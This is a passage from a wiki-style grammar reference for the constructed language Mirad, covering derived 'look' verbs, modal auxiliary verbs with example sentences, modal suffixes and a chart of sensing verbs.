::* '''fuzteaxer'''....''to disrespect''
::* '''gawteaxer'''....''to review, re-look''
::* '''hyuitteaxer'''....''to look at one another''
::* '''ibteaxer'''....''to ignore''
::* '''igteaxer'''....''to glance, glimpse''
::* '''ifteaxer'''....''to marvel at''
::* '''izteaxer'''....''to view directly, confront, aim''
::* '''jateaxer'''....''to preview''
::* '''jeteaxer'''....''to watch, observe''
::* '''joteaxer'''....''to review''
::* '''kateaxer'''....''to look for''
::* '''keteaxer'''....''to scan''
::* '''kiteaxer'''....''to look askance''
::* '''koteaxer'''....''to peek, spy''
::* '''kozyeteaxer'''....''to peep''
::* '''kozyoteaxer'''....''to peer''
::* '''kuteaxer'''....''to observe''
::* '''kyeteaxer'''....''to browse''
::* '''kyoteaxer'''....''to stare, glare''
::* '''oteaxer'''....''to ignore, overlook''
::* '''ufteaxer'''....''to glare, leer''
::* '''ugteaxer'''....''to gaze''
::* '''yagteaxer'''....''to gape, gawk''
::* '''yebteaxer'''....''to inspect''
::* '''yibteaxer'''....''to view from afar''
::* '''yogteaxer'''....''to glance at''
::* '''yokteaxer'''....''to get a glimpse of''
::* '''yubteaxer'''....''to examine''
::* '''yuibteaxer'''....''to look near and far''
::* '''yuzteaxer'''....''to look around, circumspect''
::* '''yanteaxer'''....''to view together''
::* '''yizteaxer'''....''to look beyond, overlook''
::* '''vyateaxer'''....''to investigate, check out''
::* '''vyoteaxer'''....''to view wrongly''
::* '''zateaxer'''....''to face, confront''
::* '''zayteaxer'''....''to look ahead, expect''
::* '''zoyteaxer'''....''to look back''
::* '''zeyteaxer'''....''to look across''
::* '''ziteaxer'''....''to look to the right''
::* '''zuteaxer'''....''to look to the left''
::* '''zuiteaxer'''....''to look right and left''
::* '''zyateaxer'''....''to look all over, survey''
::* '''zyeteaxer'''....''to look through, peruse''
::* '''zyoteaxer'''....''to squint''
::* '''yobteaxer'''....''to look down''
::* '''yaobteaxer'''....''to look up and down''
::* '''zaoteaxer'''....''to look back and forth''
::* '''yabteaxer'''....''to look up''
::* '''yubketeaxer'''....''to pry''
::* '''uzteaxer'''....''to look indirectly at''
::* '''oyebteaxer'''....''to look out''
::* '''ojteaxer'''....''to peer into the future''
::* '''marteaxer'''....''to star-gaze''
::* '''tabteaxer'''....''to autopsy''
&lt;/div&gt;

== Modal Verbs ==
: Modal verbs are auxiliary verbs that are usually followed by the main verb in the infinitive or a subjunctive dependent clause and have to do with wanting, permitting, prohibiting, being able, being unable, needing, being obliged to do something, etc. 
==== Principal Modal Auxiliary Verbs ====
[[File:Ladies Should Listen poster.jpg|thumb|]]
: Mirad has a set of modal auxiliary verbs that can be followed by a main verb in the infinitive mode.  This is very much like English modal auxiliary verbs in the following examples:
::* ''I &lt;u&gt;want&lt;/u&gt; to go.''
::* ''You &lt;u&gt;must&lt;/u&gt; wait.''
::* ''You &lt;u&gt;may&lt;/u&gt; stay.''
::* ''I &lt;u&gt;dare&lt;/u&gt; say.''

: Here is a chart showing the main modal auxiliary verbs in Mirad:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Principle Modal Auxiliary Verbs
|-
! Type !! Positive !! Negative
|-
! Permission
| '''afer'''....''may''&lt;br&gt;'''ayfer'''....''might'' || '''ofer'''....''may not''&lt;br&gt;'''oyfer'''....''might not''
|-
! Ability
| '''yafer'''....''can''||'''yofer'''....''cannot''
|-
! Need 
| '''efer'''....''need to'' ||
|-
! Obligation
| '''yefer'''....''must''&lt;br&gt;'''yeyfer'''....''should'' ||'''oyefer'''....''must not''&lt;br&gt;'''oyeyfer'''....''should not''
|-
! Desire 
| '''fer'''....''want to'' ||
|-
! Enjoyment 
| '''ifer'''....''love to, enjoy''&lt;br&gt;'''iyfer'''....''like to'' || '''ufer'''....''hate to''&lt;br&gt;'''uyfer'''....''dislike to''
|-
! Courage
|'''yifer'''....''dare to'' || '''yufer'''....''be afraid to, fear''
|-
! Liberty
| '''yiver'''....''have a right to, be free to'' ||  '''yuver'''....''be bound to, be supposed to''
|-
! Expectation
| '''yaker'''....''expect to'' || '''yoker'''....''be surprised to''
|-
! Conation
| '''yeker'''....''try to'' || 
|-
! Difficulty
| '''yiker'''....''to find it hard to'' || '''yuker'''....''to find it easy to''
|}

: These modal auxiliary verbs are often followed by a verbal infinitive, as in the following examples:
::* '''At fe &lt;u&gt;ter&lt;/u&gt;.'''....''I want &lt;u&gt;to know&lt;/u&gt;.''
::* '''Wit yifa &lt;u&gt;yeper&lt;/u&gt;.'''....''He dared &lt;u&gt;to enter&lt;/u&gt;.''
::* '''Yat yafe &lt;u&gt;teater&lt;/u&gt; yet.'''....''We can &lt;u&gt;see&lt;/u&gt; you.''
::* '''Duven et yaka &lt;u&gt;aker&lt;/u&gt;?'''....''Did you expect &lt;u&gt;to win&lt;/u&gt;?''
::* '''Diwe yeku &lt;u&gt;xer&lt;/u&gt; ga fi.'''....''Please try &lt;u&gt;to do&lt;/u&gt; better.''

: If the modal verb is in the hypothetical aspect (conditional), then the sense is somewhat mitigated, as in these examples:

:* '''At &lt;u&gt;fe&lt;/u&gt; per.'''....''I &lt;u&gt;want&lt;/u&gt; to go.''
:* '''At &lt;u&gt;fu&lt;/u&gt; per.'''....''I &lt;u&gt;would&lt;/u&gt; like to go.''

:* '''Et &lt;u&gt;yafe&lt;/u&gt; aker.'''....''You &lt;u&gt;can&lt;/u&gt; win.''
:* '''Et &lt;u&gt;yafu&lt;/u&gt; aker.'''....''You &lt;u&gt;could&lt;/u&gt; win.''

:* '''Yet &lt;u&gt;yefe&lt;/u&gt; iper.'''....''You &lt;u&gt;must&lt;/u&gt; leave.''
:* '''Yet &lt;u&gt;yefu&lt;/u&gt; iper.'''....''You &lt;u&gt;ought&lt;/u&gt; to leave.''

: Post-y-gliding the stem vowel of the modal verb also reduces the strength, for example:

:* '''At &lt;u&gt;ife&lt;/u&gt; et.''' ....''I &lt;u&gt;love&lt;/u&gt; you.''
:* '''At &lt;u&gt;iyfe&lt;/u&gt; et.''' ....''I &lt;u&gt;like&lt;/u&gt; you.''

:* '''Et &lt;u&gt;yefe&lt;/u&gt; iper.'''....''You &lt;u&gt;must&lt;/u&gt; leave.''
:* '''Et &lt;u&gt;yeyfe&lt;/u&gt; iper.'''....''You &lt;u&gt;should&lt;/u&gt; leave.''

:* '''Iyt &lt;u&gt;yafe&lt;/u&gt; aker.'''....''She &lt;u&gt;can&lt;/u&gt; win.''
:* '''Iyt &lt;u&gt;yayfe&lt;/u&gt; aker.'''....''She &lt;u&gt;might&lt;/u&gt; win.''

:* '''At &lt;u&gt;ufa&lt;/u&gt; uda tuz.'''....''I &lt;u&gt;hated&lt;/u&gt; that art.''
:* '''At &lt;u&gt;uyfa&lt;/u&gt; uda tuz.'''....''I &lt;u&gt;disliked&lt;/u&gt; that art.''

: The use of '''l''' and '''r''' intensify the meaning of the auxiliary verbs, eg:

:* '''Et &lt;u&gt;yuve&lt;/u&gt; puer jwe.'''....''You &lt;u&gt;are supposed&lt;/u&gt; to arrive on time.''
:* '''Et &lt;u&gt;yuvle&lt;/u&gt; tepzexer.'''....''You &lt;u&gt;have&lt;/u&gt; to pay attention.''
:* '''Et &lt;u&gt;yuvre&lt;/u&gt; buer nas.'''....''You &lt;u&gt;absolutely must&lt;/u&gt; give money.''

:* '''At &lt;u&gt;yeka&lt;/u&gt; ser yeva.'''....''I &lt;u&gt;tried&lt;/u&gt; to be fair.''
:* '''At &lt;u&gt;yekla&lt;/u&gt; ujber jwa.'''....''I &lt;u&gt;strove&lt;/u&gt; to finish early.''
:* '''At &lt;u&gt;yekra&lt;/u&gt; nixer ga nas.'''....''I &lt;u&gt;struggled (= worked hard))&lt;/u&gt; to earn more money.''

:* '''Iyt &lt;u&gt;ife&lt;/u&gt; eker zyun.'''....''She &lt;u&gt;loves&lt;/u&gt; to play ball.''
:* '''Iyt &lt;u&gt;ifla&lt;/u&gt; teater et.'''....''She &lt;u&gt;was delighted&lt;/u&gt; to see you.''
:* '''Iyt &lt;u&gt;ifre&lt;/u&gt; teaper him.'''....''She &lt;u&gt;adores&lt;/u&gt; visiting here.''

: Here are some examples showing how these modal verbs are used as auxiliaries:

::* '''Et &lt;u&gt;afe&lt;/u&gt; oyeper ay ifeker.'''....''You &lt;u&gt;may&lt;/u&gt; go out and play.''
::* '''Yat &lt;u&gt;efa&lt;/u&gt; tujer.'''....''We &lt;u&gt;needed&lt;/u&gt; to sleep.''
::* '''Ot &lt;u&gt;ofe&lt;/u&gt; mavier him.'''....''One &lt;u&gt;is prohibited&lt;/u&gt; to smoke here.''
::* '''Mavier him &lt;u&gt;ofwe&lt;/u&gt;.'''....''Smoking here is prohibited.''
::* '''At &lt;u&gt;ife&lt;/u&gt; dyeer.'''....''I &lt;u&gt;love&lt;/u&gt; to read.''
::* '''Duven et &lt;u&gt;fe&lt;/u&gt; yeper?'''....''Do you &lt;u&gt;want&lt;/u&gt; to come in?''
::* '''At &lt;u&gt;fu&lt;/u&gt; teaper et edjub.'''....''I &lt;u&gt;would like&lt;/u&gt; to visit you some day.''
::* '''It &lt;u&gt;ufaye hyaj&lt;/u&gt; teaxwer.'''....''He &lt;u&gt;has always hated&lt;/u&gt; being looked at.''
::* '''Duven et &lt;u&gt;iyfe&lt;/u&gt; per tilami?'''....''Do you &lt;u&gt;like&lt;/u&gt; going to bars?''
::* '''At &lt;u&gt;uyfe&lt;/u&gt; tijer gra jwa.'''....''I &lt;u&gt;dislike&lt;/u&gt; waking up too early.''
::* '''Et &lt;u&gt;yafe&lt;/u&gt; xer hyehos et fu.'''....''You &lt;u&gt;can&lt;/u&gt; do whatever you like.''
::* '''Et &lt;u&gt;yefer&lt;/u&gt; xer ad vyaas.'''....''You &lt;u&gt;must&lt;/u&gt; do the right thing.''
::* '''Et &lt;u&gt;yeyfe&lt;/u&gt; voy daler huuyen azay.'''....''You &lt;u&gt;should&lt;/u&gt; not talk so loud.''
::* '''At &lt;u&gt;yeyfa&lt;/u&gt; ter ga fi.'''....''I &lt;u&gt;should have&lt;/u&gt; known better.''
::* '''At &lt;u&gt;voy yifu&lt;/u&gt; der hyea fuas.'''....''I &lt;u&gt;would not dare&lt;/u&gt; say anything bad.''
::* '''&lt;u&gt;Von yufu&lt;/u&gt; der hos et tesde.'''....''&lt;u&gt;Don't be afraid&lt;/u&gt; to say what you mean.''
::* '''Et &lt;u&gt;yive&lt;/u&gt; dier yevanavdut.'''....''You &lt;u&gt;have a right&lt;/u&gt; to ask for a lawyer.''
::* '''Yat &lt;u&gt;voy yuvle&lt;/u&gt; kyoejer.'''....''We &lt;u&gt;are not bound&lt;/u&gt; to stick around.''

=== Subject-oriented vs. Patient-oriented Modal Verb Forms ===

:: All of these modal verbs can be passive, in which case they are &quot;patient-oriented&quot; rather than &quot;subject-oriented.&quot; The participial adjective '''yafa'''....''able'' is subject-oriented and refers to a person, whereas the passived adjective '''yafwa'''....''possible'' is patient-oriented and refers to a thing or event. Here is a chart of the principal modal verbs and corresponding participial adjectives with this subject/object-orientation distinction shown:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Subject-oriented vs. Patient-oriented Modal Verb Forms
|-
! Modal Type || Subject-oriented !! Subject-oriented !! Patient-oriented !! Patient-oriented
|-
! !! Verb !! Adjective !! Verb !! Adjective
|-
!row=1| Permission
| '''afer'''&lt;br&gt;''may'' || '''afa'''&lt;br&gt;''allowed'' || '''afwer'''&lt;br&gt;''be permitted'' || '''afwa'''&lt;br&gt;''permissable''
|-
!row=1| Necessity 
| '''efer'''&lt;br&gt;''need'' || '''efa'''&lt;br&gt;''needful'' || '''efwer'''&lt;br&gt;''be necessary'' || '''efwa'''&lt;br&gt;''necessary, required''
|-
!row=1| Prohibition
| '''ofer'''&lt;br&gt;''be unallowed'' || '''ofa'''&lt;br&gt;''prohibited'' || '''ofwer'''&lt;br&gt;''be prohibited'' || '''ofwa'''&lt;br&gt;''banned''
|-
!row=1| Possibility
| '''yafer'''&lt;br&gt;''be able'' || '''yafa'''&lt;br&gt;''able'' || '''yafwer'''&lt;br&gt;''be possible'' || '''yafwa'''&lt;br&gt;''possible''
|-
!row=1| Obligation
| '''yefer'''&lt;br&gt;''must'' || '''yefa'''&lt;br&gt;''obliged'' || '''yefwer'''&lt;br&gt;''be obligatory'' || '''yefwa'''&lt;br&gt;''obligatory''
|-
!row=1| Duty 
| '''yeyfer'''&lt;br&gt;''should'' || '''yeyfa'''&lt;br&gt;''supposed, duty-bound'' || '''yeyfwer'''&lt;br&gt;''be supposed'' || '''yeyfwa'''&lt;br&gt;''due''
|-
!row=1| Impossibility
| '''yofer'''&lt;br&gt;''be unable'' || '''yofa'''&lt;br&gt;''unable'' || '''yofwer'''&lt;br&gt;''be impossible'' || '''yofwa'''&lt;br&gt;''impossible''
|-
!row=1| Volition
| '''fer'''&lt;br&gt;''want'' || '''fa'''&lt;br&gt;''desirous'' || '''fwer'''&lt;br&gt;''be desirable'' || '''fwa'''&lt;br&gt;''desirable, wanted''
|-
!row=1| Love 
| '''ifer'''&lt;br&gt;''love''&lt;br&gt;'''iyfer'''&lt;br&gt;''like'' || '''ifa'''&lt;br&gt;''enamored''&lt;br&gt;'''iyfa'''&lt;br&gt;''fond'' || '''ifwer'''&lt;br&gt;''be loved''&lt;br&gt;'''iyfwer'''&lt;br&gt;''be liked'' || '''ifwa'''&lt;br&gt;''lovable''&lt;br&gt;'''iyfwa'''&lt;br&gt;''likeable''
|-
!row=1| Hate 
| '''ufer'''&lt;br&gt;''hate''&lt;br&gt;'''uyfer'''&lt;br&gt;''dislike'' || '''ufa'''&lt;br&gt;''averse''&lt;br&gt;'''uyfa'''&lt;br&gt;''displeased''|| '''ufwer'''&lt;br&gt;''be hated''&lt;br&gt;'''uyfwer'''&lt;br&gt;''be disliked'' || '''ufwa'''&lt;br&gt;''odious''&lt;br&gt;''unliked''
|-
!row=1| Courage 
| '''yifer'''&lt;br&gt;''dare'' || '''yifa'''&lt;br&gt;''daring, brave'' || '''yifwer'''&lt;br&gt;''be safe'' || '''yifwa'''&lt;br&gt;''safe''
|-
!row=1| Fear 
| '''yufer'''&lt;br&gt;''be afraid'' || '''yufa'''&lt;br&gt;''afraid'' || '''yufwer'''&lt;br&gt;''be a danger'' || '''yufwa'''&lt;br&gt;''frightening''
|-
!row=1| Joy 
| '''iver'''&lt;br&gt;''enjoy'' || '''iva'''&lt;br&gt;''glad'' || '''ivwer'''&lt;br&gt;''be a joy'' || '''ivwa'''&lt;br&gt;''enjoyable''
|-
!row=1| Sorrow
| '''uver'''&lt;br&gt;''be sorry'' || '''uva'''&lt;br&gt;''sorry, sad'' || '''uvwer'''&lt;br&gt;''be a shame'' || '''uvwa'''&lt;br&gt;''regrettable''
|}

: Examples of subject-oriented forms:

::* '''At se &lt;u&gt;yafa&lt;/u&gt; xer hes.'''....''I &lt;u&gt;am capable of&lt;/u&gt; doing anything.''
::* '''Et &lt;u&gt;ofe&lt;/u&gt; teater hia dyezun.'''....''You &lt;u&gt;are not allowed/are prohibited&lt;/u&gt; to see this film.''
::* '''Duven at &lt;u&gt;afe&lt;/u&gt; per hum?'''....''Am I &lt;u&gt;allowed&lt;/u&gt; to go there?''
::* '''Yat &lt;u&gt;fu&lt;/u&gt; ter eta dyun.'''....''We &lt;u&gt;would like&lt;/u&gt; to know your name.''
::* '''Piti &lt;u&gt;ufe&lt;/u&gt; beser be mel.'''....''Fish &lt;u&gt;hate&lt;/u&gt; to remain on dry land.''
::* '''At ajay &lt;u&gt;ifa&lt;/u&gt; dazer.'''....''I once &lt;u&gt;loved&lt;/u&gt; to dance.''
::* '''Et se iva, at &lt;u&gt;yife&lt;/u&gt; der.'''....''You are beautiful, I &lt;u&gt;dare&lt;/u&gt; say.''
::* '''At &lt;u&gt;yeyfa&lt;/u&gt; xer has ga ig.'''....''I &lt;u&gt;should&lt;/u&gt; have done it sooner.''
::* '''Von &lt;u&gt;yufu&lt;/u&gt;; At yupeye.'''....''&lt;u&gt;Fear&lt;/u&gt; not; I am coming.''
::* '''Et &lt;u&gt;yefe&lt;/u&gt; puer ja eymaj.'''....''You &lt;u&gt;must&lt;/u&gt; arrive before noon.''
::* '''Yet &lt;u&gt;yofe&lt;/u&gt; daler je ha dezun.'''....''You people &lt;u&gt;must not&lt;/u&gt; talk during the performance.''
::* '''Yat &lt;u&gt;yeyfe&lt;/u&gt; (= se &lt;u&gt;yeyfa&lt;/u&gt;) aker.'''....''We should (= are &lt;u&gt;bound/supposed/due&lt;/u&gt;) to win.''
::* '''At &lt;u&gt;ive&lt;/u&gt; teater et bakser.'''....''I&lt;u&gt;'m glad&lt;/u&gt; to see you get better.''
::* '''Su &lt;u&gt;iva&lt;/u&gt;.'''....''Be &lt;u&gt;happy&lt;/u&gt;.''
::* '''At &lt;u&gt;uvu (= su uva)&lt;/u&gt; teater et iper.'''....''I &lt;u&gt;would be sad&lt;/u&gt; to see you leave.''

: Examples of patient-oriented forms:

::* '''&lt;u&gt;Afwe&lt;/u&gt; (= se afwa) mavier him.'''....''&lt;u&gt;It is permissible&lt;/u&gt; to smoke here.''
::* '''&lt;u&gt;Ofwe&lt;/u&gt; (= se ofwa*) puxer fyumul him.'''....''&lt;u&gt;It is prohibited&lt;/u&gt; to throw litter here.''
::* '''&lt;u&gt;Fwe&lt;/u&gt; (= se fwa) van yet dolu.'''....''&lt;u&gt;It is desired&lt;/u&gt; that you stop talking.''
::* '''&lt;u&gt;Voy yafwe&lt;/u&gt; beser him gajob.'''....''&lt;u&gt;It is not possible&lt;/u&gt; to remain here any longer.''
::* '''&lt;u&gt;Yofwa&lt;/u&gt; av at ivteuder.'''....''&lt;u&gt;It was not possible&lt;/u&gt; for me to laugh.''
::* '''&lt;u&gt;Yefwe&lt;/u&gt; van et piu ig.'''....''&lt;u&gt;It is essential&lt;/u&gt; that you leave quickly.''
::* '''He &lt;u&gt;yeyfwe&lt;/u&gt; ober ata tyoyafi?'''....''Is &lt;u&gt;it obligatory&lt;/u&gt; to remove my shoes?''
::* '''Ga yux &lt;u&gt;efwo&lt;/u&gt;.'''....''More help &lt;u&gt;will be needed&lt;/u&gt;.''
::* '''Yuxren se &lt;u&gt;ufwa&lt;/u&gt; xetyen.'''....''Slavery is an &lt;u&gt;odious&lt;/u&gt; practice.''
::* '''&lt;u&gt;Uvwe&lt;/u&gt; van wit oka.'''....''&lt;u&gt;It's a shame&lt;/u&gt; that he lost.''

:: *&lt;small&gt;'''lofwa''' is used for ''unwanted'' for disambiguation purposes.&lt;/small&gt;

=== Deriving Causatives from Modal Stems ===

: Various causative verbs can be formed from modal stems, as shown in the chart below:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Deriving Causatives from Modal Stems
|-
! Subject-oriented !! Patient-oriented
|-
| '''afxer'''....''allow'' (someone to do sthg.) || '''afwaxer'''....''permit'' (something to be done)
|-
| '''efxer'''....''require'' || '''efwaxer'''....''necessitate''
|-
| '''ofxer'''....''prohibit'' || '''ofwaxer'''....''prohibit''
|-
| '''yafxer'''....''enable'' || '''yafwaxer'''....''make possible''
|-
| '''yefxer'''....''oblige'' || '''yefwaxer'''....''make obligatory''
|-
| '''yofxer'''....''cripple'' || '''yofwaxer'''....''disable''
|-
| '''yifxer'''....''embolden'' || '''yifwaxer'''....''make safe''
|-
| '''yufxer'''....''intimidate'' || '''yufwaxer'''....''make frightening''
|-
| '''ifxer'''....''please'' || '''ifwaxer'''....''make pleasant''
|}

=== Creating Modal Verbs and Adjectives with Modal Stem Suffixes ===

: Verb stems can be suffixed with modal participles to produce related modal verbs and adjectives.  The first chart shows the modal participles themselves that can be suffixed to verb stems.  Subject-oriented forms refer only to people, while patient-oriented forms (ending in '''-wa''') refer only to things.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Modal Suffixes
|-
! Subject-oriented !! Patient-oriented
|-
| '''-yafa'''....''able to X, -able'' || '''-yafwa'''....''possible to X''
|-
| '''-yofa'''....''unable to X'' || '''-yofwa'''....''impossible to X''
|-
| '''-ifa'''....''fond of Xing, Xophile'' || '''-ifwa'''....''enjoyable to X''
|-
| '''-ufa'''....''averse to Xing, Xophobic'' ||'''-ufwa'''....''unenjoyable to X''
|-
| '''-yika'''....''hard of Xing'' || '''-yikwa'''....''hard to X'' 
|-
| '''-yuka'''....''comfortable/easy Xing'' || '''-yukwa'''....''easy to X''
|-
| '''-yaka'''....''expecting to X'' || '''yakwa'''....''expected/likely to X''
|-
| '''-efa'''....''in need of Xing'' || '''-efwa'''....''necessary to X''
|-
| '''-yefa'''....''obliged to X'' || '''-yefwa'''....''obligatory/due to X''
|-
| '''-yufa'''....''afraid of Xing'' || '''-yufwa'''....''frightening to X''
|}

: This table shows some of these modal suffixes applied to actual verb and noun stems:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Modals and Orientation
|-
! Orientation !! Positive Adjective !! Positive Verb !! Negative Adjective !! Negative Verb
|-
!row=1| '''Subject''' 
| '''teatyafa'''&lt;br&gt;''able to see, sighted'' || '''teatyafer'''&lt;br&gt;''be able to see'' || '''teatyofa'''&lt;br&gt;''blind'' || '''teatyofer'''&lt;br&gt;''be blind''
|-
!row=1| '''Patient''' 
| '''teatyafwa'''&lt;br&gt;''visible'' || '''teatyafwer'''&lt;br&gt;''be visible'' || '''teatyofwa'''&lt;br&gt;''invisible'' || '''teatyofwer'''&lt;br&gt;''be invisible''
|-
!row=1| '''Subject''' 
| '''teetyafa'''&lt;br&gt;''able to hear, hearing'' || '''teetyafer'''&lt;br&gt;''be able to hear'' || '''teetyofa'''&lt;br&gt;''deaf'' || '''teatyofer'''&lt;br&gt;''be deaf''
|-
!row=1| '''Patient''' 
| '''teetyafwa'''&lt;br&gt;''audible'' || '''teetyafwer'''&lt;br&gt;''be audible'' || '''teeyofwa'''&lt;br&gt;''inaudible'' || '''teeyofwer'''&lt;br&gt;''be inaudiable''
|-
!row=1| '''Subject''' 
| '''dalyafa'''&lt;br&gt;''able to speak'' || '''dalyafer'''&lt;br&gt;''be able to speak'' || '''dalyofa'''&lt;br&gt;''mute, dumb'' || '''dalyofer'''&lt;br&gt;''be mute, dumb''
|-
!row=1| '''Subject''' 
| '''doabifa'''&lt;br&gt;''patriotic'' || '''doabifer'''&lt;br&gt;''be patriotic'' || '''doabufa'''&lt;br&gt;''rebellious'' || '''doabufer'''&lt;br&gt;''rebel'' 
|-
!row=1| '''Subject''' 
| '''tosyafa'''&lt;br&gt;''sensitive'' || '''tosyafer'''&lt;br&gt;''be able to feel'' || '''tosyofa'''&lt;br&gt;''insensitive'' || '''tosyofer'''&lt;br&gt;''be numbed''
|-
!row=1| '''Patient''' 
| '''tayotyafwa'''&lt;br&gt;''palpable'' || '''tayotyafwer'''&lt;br&gt;''be palpable'' || '''tayotyofwa'''&lt;br&gt;''numb'' || '''tayotyofwer'''&lt;br&gt;''be impalbable, numb''
|-
!row=1| '''Patient''' 
| '''testyukwa'''&lt;br&gt;''easy to understand'' || '''testyukwaxer'''&lt;br&gt;''make easily understood'' || '''testyikwa'''&lt;br&gt;''hard to understand'' || '''testyikwaxer'''&lt;br&gt;''make hard to understand''
|-
!row=1| '''Subject'''
| '''tudyaka'''&lt;br&gt;''pregnant, expecting'' || '''tudyaker'''&lt;br&gt;''be expecting''|| ||
|-
!row=1| '''Patient'''
|'''mamilyakwa'''&lt;br&gt;''likely to rain'' || '''mamilyakwer'''&lt;br&gt;''to be expected to rain''|| '''mamilyokwa'''&lt;br&gt;''unlikely to rain''|| '''mamilyokwer'''&lt;br&gt;''to be unlikely to rain''
|-
!row=1| '''Subject''' 
| '''tilefa'''&lt;br&gt;''thirsty'' || '''tilefer'''&lt;br&gt;''be thirsty'' || ||
|-
!row=1| '''Subject''' 
| '''telefa'''&lt;br&gt;''hungry'' || '''telefer'''&lt;br&gt;''be hungry'' || ||
|-
!row=1| '''Patient''' 
| '''tejefwa'''&lt;br&gt;''vital'' || '''tejefwer'''&lt;br&gt;''be vital'' || ||
|-
!row=1| '''Subject''' 
| '''tujefa'''&lt;br&gt;''sleepy'' || '''tujefer'''&lt;br&gt;''be sleepy'' || ||
|-
!row=1| '''Subject''' 
| '''nasefa'''&lt;br&gt;''poor, needy'' || '''nasefer'''&lt;br&gt;''be needy'' || ||
|-
!row=1| '''Subject''' 
| '''dudyefa'''&lt;br&gt;''accountable, responsible'' || '''dudyefer'''&lt;br&gt;''be responsible'' || ||
|-
!row=1| '''Patient'''
| '''texiyefwa'''&lt;br&gt;''noteworthy'' || '''texiyefwer'''&lt;br&gt;''be noteworthy'' || ||
|}

== Sensing Verbs ==
: Verbs involving the senses, such as sight or hearing, follow a similar pattern, as the following chart shows:

{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Sensing Verbs
|- valign=top
! TYPE !! '''teab'''....''eye''&lt;br&gt;'''teata'''....''visual'' !! '''teeb'''....''ear''&lt;br&gt;'''teeta'''....''acoustic'' !! '''teib'''....''nose''&lt;br&gt;'''teita'''....''olfactory'' !! '''teub'''....''mouth''&lt;br&gt;'''teuta'''....''gustatory'' !! '''tayob'''....''skin''&lt;br&gt;'''tayota'''....''tactile''
|- valign=top
!row=1| Receptive&lt;br&gt;Active 
| '''teater'''&lt;br&gt;''see'' || '''teeter'''&lt;br&gt;''hear'' || '''teiter'''&lt;br&gt;''smell'' || '''teuter'''&lt;br&gt;''taste'' || '''tayoter'''&lt;br&gt;''feel''
|-  valign=top
!row=1| Receptive&lt;br&gt;Passive 
| '''teatwer'''&lt;br&gt;''be seen'' || '''teetwer'''&lt;br&gt;''be heard'' || '''teitwer'''&lt;br&gt;''be smelled'' || '''teutwer'''&lt;br&gt;''be tasted'' || '''tayotwer'''&lt;br&gt;''be felt''
|-  valign=top
!row=1| Stative  
| '''teaser'''&lt;br&gt;''seem'' || '''teeser'''&lt;br&gt;''sound'' || '''teiser'''&lt;br&gt;''smell'' || '''teuser'''&lt;br&gt;''taste'' || '''tayoser'''&lt;br&gt;''feel'' 
|-  valign=top
!row=1| Dynamic&lt;br&gt;Active 
| '''teaxer'''&lt;br&gt;''look at'' || '''teexer'''&lt;br&gt;''listen'' || '''teixer'''&lt;br&gt;''sniff'' || '''teuxer'''&lt;br&gt;''taste'' || '''tayoxer'''&lt;br&gt;''touch'' 
|-  valign=top
!row=1| Dynamic&lt;br&gt;Passive 
| '''teaxwer'''&lt;br&gt;''be looked at'' || '''teexwer'''&lt;br&gt;''be listened to'' || '''teixwer'''&lt;br&gt;''be sniffed'' || '''teuxwer'''&lt;br&gt;''be tasted'' || '''tayoxwer'''&lt;br&gt;''be touched''
|-  valign=top
!row=1| Causative&lt;br&gt;Active
| '''teatuer'''&lt;br&gt;''show'' || '''teetuer'''&lt;br&gt;''make hear'' || '''teixuer'''&lt;br&gt;''make smell'' || '''teuxuer'''&lt;br&gt;''offer a taste'' || '''tayoxuer'''&lt;br&gt;''make feel''
|-  valign=top
!row=1| Causative&lt;br&gt;Passive
| '''teatuwer'''&lt;br&gt;''be shown'' || '''teetuwer'''&lt;br&gt;''be made to hear'' || '''teituwer'''&lt;br&gt;''be made to smell'' || '''teutuwer'''&lt;br&gt;''be given a taste'' || '''tayotuwer'''&lt;br&gt;''be made to feel''
|-  valign=top
!row=1| Inchoative&lt;br&gt;Active 
| '''teatier'''&lt;br&gt;''perceive,''&lt;br&gt;''catch sight of'' || '''teetier'''&lt;br&gt;''catch the&lt;br&gt;sound of'' || '''teitier'''&lt;br&gt;''get a whiff of'' || '''teutuer'''&lt;br&gt;''get a taste of'' || '''tayotier'''&lt;br&gt;''get the sensation of'' 
|-  valign=top
!row=1| Inchoative&lt;br&gt;Passive 
| '''teatiwer'''&lt;br&gt;''be perceived'' || '''teetiwer'''&lt;br&gt;''be heard'' || '''teitiwer'''&lt;br&gt;''be whiffed'' || '''teutiwer'''&lt;br&gt;''be tasted'' || '''tayotiwer'''&lt;br&gt;''be felt'' 
|-  valign=top
!row=1| Negative-Modal&lt;br&gt;Patient-oriented&lt;br&gt;Stative 
| '''teatyofer'''&lt;br&gt;''be blind'' || '''teetyofer'''&lt;br&gt;''be deaf'' || '''teityofer'''&lt;br&gt;''be unable to smell'' || '''teityofer'''&lt;br&gt;''be unable to taste'' || '''tayotyofer'''&lt;br&gt;''be insensitive'' 
|-  valign=top
!row=1| Negative-Modal&lt;br&gt;Patient-oriented&lt;br&gt;Stative 
| '''teatyofwer'''&lt;br&gt;''be invisible'' || '''teetyofwer'''&lt;br&gt;''be inaudible'' || '''teityofwer'''&lt;br&gt;''be undetectable&lt;br&gt;odorwise'' || '''teityofwer'''&lt;br&gt;''be insipid'' || '''tayotyofwer'''&lt;br&gt;''be undetectable&lt;br&gt;by touch'' 
|-  valign=top
!row=1| Negative-Modal&lt;br&gt;Patient-oriented&lt;br&gt;Causative 
| '''teatyofxer'''&lt;br&gt;''blind'' || '''teetyofxer'''&lt;br&gt;''deafen'' || '''teityofxer'''&lt;br&gt;''desensitize&lt;br&gt;to smell'' || '''teutyofxer'''&lt;br&gt;''desensitize to&lt;br&gt;taste'' || '''tayotyofxer'''&lt;br&gt;''desensitize'' 
|-  valign=top
!row=1| Negative-Modal&lt;br&gt;Patient-oriented&lt;br&gt;Causative 
